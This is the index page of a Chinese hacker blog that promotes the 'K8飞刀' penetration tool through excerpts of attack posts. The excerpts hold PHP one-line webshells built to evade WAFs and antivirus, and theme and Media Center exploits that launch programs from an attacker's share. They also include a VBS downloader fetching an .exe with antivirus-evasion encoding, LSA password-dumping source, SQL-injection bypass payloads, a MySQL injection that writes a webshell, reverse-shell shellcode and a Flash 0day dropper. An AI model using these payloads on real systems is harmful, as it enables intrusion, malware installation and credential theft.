0x001 漏洞简介Microsoft Security Bulletin MS13-071 - Important官方公告: https://technet.microsoft.com/library/security/ms13-071受影响系统 XP  20030x002  配置共享在VPS上部署即可...这里放你想运行的程序,注意名字必须为.scr后缀 权限everyone运行 0x003  生成EXP右键选中UNC路径--K8飞刀--EncodeDecode--Hacking--0day漏洞--Win主题MS13-071生成的EXP 存放于0day-Exp目录下 ms13071.theme 文件.当目标使用theme就中招.PPThttp://pan.baidu.com/s/1sjmSbMH#path=%252FPPT视频:http://pan.baidu.com/s/1ntGNgHr ...继续阅读 (442)

PPT:http://pan.baidu.com/s/1sjmSbMH#path=%252FPPT0x001 一句话代码对比POST一句话  <?php @eval($_POST[k8]);?>UA一句话  <?php @eval($_SERVER["HTTP_USER_AGENT"])?>COOKIE一句话 <?php eval($_COOKIE["k8"]);?>看看普通一句话和UA一句话有什么区别  只是提交方式的区别所以POST一句话可以实现的功能  其它方式也完全可以其功能问题1:  为什么用UA一句话没权限执行CMD?  答: 大哥你先确保PHP没禁止执行函数先只是提交方式不一样,剩下一句话能不能做什么事,关键在于服务器对PHP的配置(你目前拿到的权限)换句话说  我们除了include 包含等等函数做后门以外又多了UA COOKIE甚至还有其它N多 HTTP协议参数来做大家自行研究飞刀上的hackie  上面很多参数都可以留后门0x002  为什么选用UA为什么K8飞刀 使用UA一句话 cookie和ua 就单纯这样写 目前经典写法都还是过安全狗和360    1 除了免杀以外  最主要一点 大家看看PH ...继续阅读 (359)

PPT:http://pan.baidu.com/s/1sjmSbMH#path=%252FPPT0x001URL地址:  http://192.168.25.128/m.exe操作 encodedecode模块--选中URL右键--Hacking--VBS脚本--VBS下载者 0x002选中代码右键--实用功能--VBS运行测试生成的VBS代码--(换句话说可以直接在飞刀里编写VBS脚本并测试)每次用记事本写好,保存为xx.vbs 然后去双击运行或者DOS打命令运行很麻烦MS14065  office漏洞 DOC宏病毒等经常要写一些VBS  于是K8飞刀添加此功能 (BAT同理) 0x003免杀前: 被11个杀软查杀http://r.virscan.org/report/abaea4e1865613286aa8d3537339ed73使用随机ASCII码加密后: 只有2个查杀http://r.virscan.org/report/e318e1932c5812bc957e3fea15d54955 ...继续阅读 (875)

国人又坑国人...使用非官方的IDE帮助"作者"传播后门再次提醒大家使用工具 一定要去官方下载 否则后果自负http://drops.wooyun.org/news/8864http://init.icloud-analysis.com  ...继续阅读 (135)

[源码]一键获取windows系统登陆密码vc6版源码支持:XP/2000/2003/WIN7/2008等此版本编译出来的程序体积较小几十KB...而vs版则1点几M,体积整整大了2-30倍对某些奇葩环境...1点几M可能要分几十次传过去总是在关键的时候,发现自己以前弄过的东西突然不见了然后百度好不容易找到了一份..还是发到博客来 收藏需要修改输出TXT的或免杀啥的...上自己博客找源码#include <windows.h>#include <stdio.h>////  Vsbat[0x710dddd]//  //  Note: VC++ 6.0编译/Admin权限执行//#define MEM_SIZE 0x1000#define WIN7     0x1#define WINXP    0x2#define WIN03    0x4typedef struct _LSA_UNICODE_STRING {    USHORT Length;    USHORT MaximumLength;    PWSTR  Buffer;} ...继续阅读 (408)

poc: https://www.exploit-db.com/exploits/38151/<application run="calc.exe"/> 骄情的老外 就这么一句 还非用这python来装B 可以使用 UNC路径  但对方点击时 会提示 是否给运行<application run="\\192.168.85.143\Share\calc.exe"/>  # Title: MS15-100 Windows Media Center Command Execution# Date : 11/09/2015# Author: R-73eN# Software: Windows Media Center# Tested : Windows 7 Ultimate# CVE : 2015-2509  banner = ""banner += " ___        __        ____               ...继续阅读 (201)

K8飞刀  by K8拉登哥哥@[K8搞基大队]博客: http://qqhack8.blog.163.com简介: K8飞刀是一款多功能的渗透测试工具. Hacker Swiss Army Knife.      内置大量漏洞EXP/GetShell/0day网马/U盘自动种马/脱库采集工具      支持7种WebShell管理/后台扫描/2级域名扫描/WordPress用户扫描      黑客浏览器/自动检测注入/自动收集信息/Exp调式/可一键生成EXP      多种编码转换/一键CSRF构造/Cookie一键登陆/XSS编码/SQL提权等  Mysql注入点远程种马(无web物理路径/非root权限)教程: http://qqhack8.blog.163.com/blog/static/1141479852015812115423822/K8飞刀 20150911[+]EncodeDecode       编码转换--File/文件--Mysql Inject OutFile  ...继续阅读 (977)

国外X论坛看到的 不翻译了 也看不懂ru 不会翻译 大家看注入语句就OK了 只要测试能绕过就好东西Комментарии + перевод каретки %0D%0AКод:http://www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_userurl-decode вариант:Код:http://www.modsecurity.org/testphp.vulnweb.com/artists.php?artist=0+div+1+union#foo*/*barselect#foo1,2,current_userКомбинирование комментариев и управляющих символов (перевод каретки %0D%0A) Отбросив комментарии мы получаем запрос вида:Код:0 div 1 union select 1,2,current_userТехнология Unterminated Comments + MySQL Comment Extensions for condi ...继续阅读 (130)

JS探测内网IP 20150831测试可用https://diafygi.github.io/webrtc-ips/挂VPN后上面探测不到任何IP 此站可以https://ipleak.net  2015.9.2WebRTC漏洞可泄露VPN用户真实IP 部分版本(K8实战还未得知哪个版本可探测真实IP)在去年的Google I/O 大会上，Google表示WebRTC将支持超过十亿个不同端点（桌面浏览器和移动设备端），也就是说WebRTC将应用Chrome浏览器和Android移动操作系统。Firefox 41 disables the default (unreliable) STUN server https://wiki…测试环境  FF 40.0.3  探测到内网IP和VPN IPYour local IP addresses:    10.10.0.12   VPN分配的IP    192.168.85.130  路由器分配的IPYour public IP addresses:    xxx.xx.xxx.xxx  VPN--IP附上实战成功截图   Firefox 36-40.X之间 chorme 3 ...继续阅读 (469)

在flash里执行jsExternalInterface.call("eval", "sayHello('k8team')");调用flash的页面<script language="javascript">    function sayHello(name) {  alert("hello, " + name);}</script> ...继续阅读 (124)

1、http://www.jsobfuscate.com/index.phpeval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=12、http://www.gaijin.at/en/olsjse.phpvar a="fmawoglv,upkvg'0:'00'1Akdpcog'02qpa'1Fjvvr'1C--crhal,ljpk,mpe,vu-qgptgp-crhal-Lgqvng-rcqqumpf,znq'02ukfvj'1F2'02jgkejv'1F2'1G'1A-kdpcog'1G'00'0;'1@";b="";3、http://webtools.live2support.com/misc_javascript_encrypter.phpvar enkripsi="fmawoglv,upkvg'0:'00'1Akdpcog'02qpa'1Fjvvr'1C--crhal,ljpk,mpe,vu-qgptgp-crhal-Lgqvng-rcq ...继续阅读 (110)

var iframe = document.createElement('iframe');iframe.src="http://qqhack8.blog.163.com/blog/http://qqhack8.blog.163.com/";  document.body.appendChild(iframe); ...继续阅读 (91)

[Provider("CIMWin32")]class Win32_LogicalDisk : CIM_LogicalDisk{  uint16   Access;  uint16   Availability;  uint64   BlockSize;  string   Caption;  boolean  Compressed;  uint32   ConfigManagerErrorCode;  boolean  ConfigManagerUserConfig;  string   CreationClassName;  string   Description;  string   DeviceID;  uint32   DriveType;  boolean  ErrorCleared;  string   ErrorDescription;  string   ErrorMethodo ...继续阅读 (106)

dev11 complier 已经不再支持XP，如果想要支持XP系统，需要更新至 VS2012 Update1，同时，在属性---配置属性 --- 常规---平台工具集Properties -> Configuration Properties -> General -> PlatForm ToolSet选择Visual Studio 2012 - windows XP (v110_xp)这样compiler生成的exe文件方可在XP系统上运行。写代码的过程中,我发现使用VS2012编译出来的程序默认支持的系统版本略高例如刚发现的:Win7+VS2012编译出来的程序默认PE信息(Optional Header):Major SubSystem Version = 6Minor SubSystem Version = 0导致的结果就是：在WinXP中运行便会提示“不是有效的Win32应用程序”当时还以为是自己搞错编译选项，将程序编译成x64的了。结果后来使用PE工具才发现的这个问题。修正办法：右击项目-属性-配置属性-链接器-系统-所需最低版本 填入”5.01″ ...继续阅读 (102)

   if (File.GetAttributes(FFName).ToString().IndexOf("ReadOnly") != -1)                            File.SetAttributes(FFName, FileAttributes.Normal);                        File.Delete(FFName);//不能删除只读文件 ...继续阅读 (92)

0x001网上的mof提权 调用的是js执行添加用户 而且有个缺陷 还不能一步到位...目标3389也连不上...也不知道上面安装了什么软件...毛然添加用户也不好比如有个类似狗之类的拦截添加用户 这样不是直接就被干了目标环境不确定,也不能轻易给人种马(要不然怎么死都不知道)提权脚本存在几个问题1 无回显 这样我们根本不知道是否执行成功(3389根本连不了,你怎么判断用户成功了 靠运气靠猜吗？)2 不支持多语句 即使有回显 想要获取目标更多信息,难道要上传十几个mof脚本过去吗？0x002  解决mof执行命令无回显的问题实验发现在mof里用js或vbs来执行命令 都没法echo 比如执行net user > c:\\xx.txt 就是不成功(直接在js或vbs里所在doc命令都是正常的)执行命令无法回显咋办呢? 所以只能通过脚本wirtefile了..0x003 解决mof提权无法多命令的问题和上面一样把原来的js改成vbs...就可以执行多语句了  不过echo同样没法执行需要回显 就要操作fso来输出执行命令后的结果... 比较简单大家自己实现0x004 为什么要用下载者？因为GET的注入点长度有限制...如果我们需要传比较大的文件过去...是没办法的...至于post内容的长度 也是由管理员配置决定的...如果人家的网站不需要上传什么大 ...继续阅读 (274)

K8飞刀PPT：http://download.csdn.net/detail/qq396890445/9101843http://pan.baidu.com/s/1sjmSbMH#path=%252FPPT 应用场景有注入点却无法爆出物理路径的情况下，满足导出文件条件，可以考虑用这种方法得到服务器权限。实战x运营商碰到一注入点,非root权限但可读写文件...无web物理路径(无法直接拿shell)Mysql导出文件条件1 Root权限(其实并非root不可 ,具备insert权限即可)2 可写目录(即使是system权限,用驱动限制也没法写)如图: 使用sqlmap注入无论是写shell还是执行命令都需要提供web物理路径,没路径怎么办?k8bbs注入漏洞环境为例 (先从拿shell开始再到导出exe种马)注入点: http://192.168.85.142/php/k8bbs/news.php?id=3 and 1=2 union select 1,user(),3,4,5导出webshell(大家都懂的)http://192.168.85.142/php/k8bbs/news.php?id=3 and 1=2 union select 1,2,3,4,unhex('3C3F70687020406576616C28245F504F53545B27746F6D275D ...继续阅读 (553)

工具: MS15-077 EXP编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/8/17 10:05:14简介: 图片:功能: 下载地址:文件: HTFont_k8_20150817[K8].rarSHA1: 34871012228F47CB8FB8FC84F825CE8C2F66929A平台: XP/Vista/Win7/Win8/2000/2003/2008/2012猛击:http://pan.baidu.com/s/1bn0kpHX提示:下载后一定要校验文件的SHA1值是否正确,如不符则可能文件损坏或被人捆木马.注意:在K8拉登哥哥BLOG里下载的,工具一但更新,旧版地址若是失效,将不再提供下载.本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究，请在下载后24小时内删除，不得用于商业或非法用途，否则后果自负。 ...继续阅读 (787)

工具: MS14-002编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/8/10 10:36:00简介:MS14-002 exploit XP&2003 NDProxy.sys提权工具公告: https://support.microsoft.com/en-us/kb/2914368源码: https://www.exploit-db.com/exploits/37732/不是很稳定 第3次执行命令 可能会蓝屏 最好一步到位执行bat或者执行exe...msf下面...同样也会动不动就蓝屏推荐先尝试其它最新较稳定的exp 最后再用不稳定exp图片: 下载地址:文件: MS14-002.exeSHA1: 77D156B1D81E523BD1C7F0A21C55E494347B5F3B猛击: http://pan.baidu.com/s/1c0fiIjQ本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究，请在下载后24小时内删除，不得用于商业或非法用途，否则后果自负。 ...继续阅读 (679)

工具: K8_zfsoftDecode编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/8/1 12:18:46简介: 图片: 昨晚 群里有朋友问 今天早上起来 看了一下功能: 下载地址文件: K8_zfsoftDecode.exeSHA1: 29299254625456324EDCF46F6669272E19D19D48平台: XP/Vista/Win7/Win8/2000/2003/2008/2012下载: http://pan.baidu.com/s/1pJFZu7T提示:下载后一定要校验文件的SHA1值是否正确,如不符则可能文件损坏或被人捆木马.注意:在K8拉登哥哥BLOG里下载的,工具一但更新,旧版地址若是失效,将不再提供下载.本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究，请在下载后24小时内删除，不得用于商业或非法用途，否则后果自负。本博客支持匿名评论,请留下你宝贵的意见或建议.再次感谢您的大力支持. ...继续阅读 (678)

工具: ms15022_exploit编译: VS2012 C# (.NET Framework v2.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/31 17:12:49简介:漏洞编号:CVE-2015-0097 MS15-022影响版本:office 2007 && office 2010 && office 2013https://support.microsoft.com/zh-cn/kb/3038999https://www.exploit-db.com/exploits/37657/图片: 功能: 下载地址:文件: ms15022_exploit.exeSHA1: 5B1ACAD330D1BFE9B6C5737A13F98F838D0D8D93平台: XP/Vista/Win7/Win8/2000/2003/2008/2012猛击: http://pan.baidu.com/s/1Baidg (工具+视频)提示:下载后一定要校验文件的SHA1值是否正确,如不符则可能文件损坏或被人捆木马.注意:在K8拉登哥哥BLOG里下载的,工具一但更新,旧版地址若是失效,将不再提供下载.本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究，请在下载后24小时内删除，不得用于 ...继续阅读 (1268)

失恋阵线联盟(家有仙妻主题曲) K8修正版这首歌 ukulele 玩起来 比木吉他还有感觉1=FF Dm她总是只留下电话号码F Dm从不肯让我送她回家F Dm听说你也曾经爱上过她Gm C曾经也同样无法自拔F Dm你说你学不会假装潇洒F Dm却叫我别太早放弃她F Dm把过去全说成一段神话Gm C F然后笑彼此一样的傻bB bB我们这么在乎她却被她全部抹煞Am越疼她越伤心永远得不到回答bB bB到底她怎么想应该继续猜测吗Am Gm还是说好全忘了吧F Dm找一个承认失恋的方法F Dm让心情好好的放个假F Dm当你我不小心又想起她Gm C F就在记忆里画一个"叉" ...继续阅读 (108)

工具: K8_SideNote编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/29 1:50:32简介: [1]旁注查询使用必应接口 快速查询 服务器 旁站域名/C段域名 （要自己申请Key 才可查询 ）1 同服查询/C段查询 (当Key失效，程序会自动轮循)2 查询服务器Banner 和 IP (支持单个 或 所有域名)3 支持导入导出数据(查询结构不会变化)4 支持使用不同浏览器右键打开URL5 查询结果比同类工具更准确6 展开收缩节点7 主机多IP时 自动查询同服IP上的站点 (若在IP上回车 则只查询当前选中IP的同服)8 默认获取所有IP对应第一个域名的banner (为了准确性 增加右键获取指定域名banner)9 标记备注(可标记哪些站点是重要目标,已做到哪一步,方便下一步渗透)[2]自动攻击1 导入网址列表时自动去重2 筛选列表(去除无效网址)3 选择payloads自动攻击图片:申请key时需要注意一点 这里最好设置成非中国的 要不然可能查不了 2.0 20150728[+] 导出导出数据(IP/Banner/备注) 20150728[+] 域名→IP 默认获取所有域名IP 20150728[+] ...继续阅读 (800)

工具: K8飞刀编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/26 3:41:11简介: K8飞刀是一款多功能的渗透测试工具. Hacker Swiss Army Knife. 内置大量漏洞EXP/GetShell/0day网马/U盘自动种马/脱库采集工具 支持7种WebShell管理/后台扫描/2级域名扫描/WordPress用户扫描 黑客浏览器/自动检测注入/自动收集信息/Exp调式/可一键生成EXP 多种编码转换/一键CSRF构造/Cookie一键登陆/XSS编码/SQL提权等图片:设置Socks5代理后,使用HackerIE的Hack模式,访问攻击内网路由器或web站点当然也可以获取肉鸡上的Cookie使用CookieHack直接登陆内网站点管理后台最重要的是可以使用飞刀里的大量漏洞对内网WEB程序或路由器进行攻击了 功能: K8飞刀 20150725[u]检测更新 不再强制跳转URL,允许用户选择是否更新 20150725[+]Exploit-DB 腾达无线路由器(Tenda 11N)登陆密码绕过 20150724[+]SysSetin ...继续阅读 (845)

工具: K8飞刀编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/20 3:00:18简介: K8飞刀是一款多功能的渗透测试工具. Hacker Swiss Army Knife. 内置大量漏洞EXP/GetShell/0day网马/U盘自动种马/脱库采集工具 支持7种WebShell管理/后台扫描/2级域名扫描/WordPress用户扫描 黑客浏览器/自动检测注入/自动收集信息/Exp调式/可一键生成EXP 多种编码转换/一键CSRF构造/Cookie一键登陆/XSS编码/SQL提权等图片:新增shellcode Loader用msf生成一段反弹shellcode,点击Loader测试bt5 这边成功反弹shell 说明shellcode没问题就可以把shellcode拿去实战使用了 比如ht的flash 0day等功能:K8飞刀 20150720 ShellCode Loader[+]EncodeDecode Hacking--ShellCode--ShellCode Loader 20150720[+]EncodeDecode Hacking--ShellCode--He ...继续阅读 (237)

[视频]K8飞刀教程 MSF Exploit-DB 多种格式Shellcode测试这是一段弹CMD的shellcode当然 你也可以放其它shellcode来测试这里我先演示一个msf的mt反弹shell点击Loader按钮将会加载我们的shellcode然后我们就会看到msf返回了一个shell 演示其它格式... 看都支持说明什么呢。。。说明我们的shellcode正常咯我们再测一下 exploit-db上面的 其它shellcode注意 本工具目前只支持windows的sc测试https://www.exploit-db.com/exploits/24318/这是刚才测试的 此shellcode兼容性 非常好看来此shellcode 也是可用的https://www.exploit-db.com/exploits/33836/添加管理员shellcode大家可以利用此工具测试shellcode如果每次测试shellcode都得vc编译一次非常麻烦所以 写了此工具 方便自己 和 大家 教程结束 88 工具: 下载地址平台: XP/Vista/Win7/Win8/2000/2003/2008/2012下载: http://pan.baidu.com/s/1o645pXo本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究，请在下载后24小时内删除，不得用于商业或 ...继续阅读 (407)

光发这张图 懂的人已经懂了 不懂的人 接着往下看 最后有视频下载地址MSF 生成我们需要的 shellcode 可任意 这里我生成下载者把标准C格式shellcode转成flash0day所使用的 bytearray格式 因intarray不太稳定 修改FLASH源码 注意画线部份 改成自动执行 然后编译flash 生成exp1.swf 浏览flash 会释放一个隐藏文件ma.exe到桌面上 最后上成果图视频 上线环境 WIN2008 R2 X64+IE8 XP系统 IE6 + Firefox 39 最新版 通通上线下载地址K8飞刀教程 hacking team flash0day shellcode 利用视频_20150714[K8]利用视频:http://pan.baidu.com/s/1c0lm0wg本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究，请在下载后24小时内删除，不得用于商业或非法用途，否则后果自负。本博客支持匿名评论,请留下你宝贵的意见或建议.再次感谢您的大力支持. ...继续阅读 (213)

工具: K8fly编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/12 9:40:49简介: K8飞刀是一款多功能的渗透测试工具. Hacker Swiss Army Knife. 内置大量漏洞EXP/GetShell/0day网马/U盘自动种马/脱库采集工具 支持7种WebShell管理/后台扫描/2级域名扫描/WordPress用户扫描 黑客浏览器/自动检测注入/自动收集信息/Exp调式/可一键生成EXP 多种编码转换/一键CSRF构造/Cookie一键登陆/XSS编码/SQL提权等 K8飞刀20150711 新增Flash神洞 Hacking team Flash0day ShellCode转换7.8号当天已经弄出来 洞出来后都很忙 时间关系 暂时没时间给大家录教程建议修改ht flash0day使用bytearray格式 比较稳定 功能:K8飞刀 20150711[+]EncodeDecode Hacking--ShellCode--CharArray2UintArray 20150711[+]EncodeDecode Hacking--ShellCode--UintArray2Ch ...继续阅读 (552)

Firefox完美触发 IE也是完美触发chorme浏览器无效。。。其它浏览器未测 下载: http://pan.baidu.com/s/1qWl36xe有人说只能IE6-10。。。IE11不行 Firefox不行我录个视频 证明是支持Firefox的 ghorme真的不行http://pan.baidu.com/s/1pJFrHAb FF 38.05 英文版 XP英文版IE11 搞基大队群里的人已测试通过 WIN7 64位 IE11 ...继续阅读 (376)

新型PHP一句话 Cookie一句话木马 (其它脚本同理)给个典型例子php eval($_COOKIE["k8team"]);?使用K8飞刀 Cookie提交代码 (其它脚本同理)(Get或Post) 浏览器/文本/流 3种方式都可附带Cookie大家要发挥想像力 其实还可以有N多参数可以提交的可以绕过各种Waf 什么安全狗 什么乱七八糟的 秒杀 ...继续阅读 (234)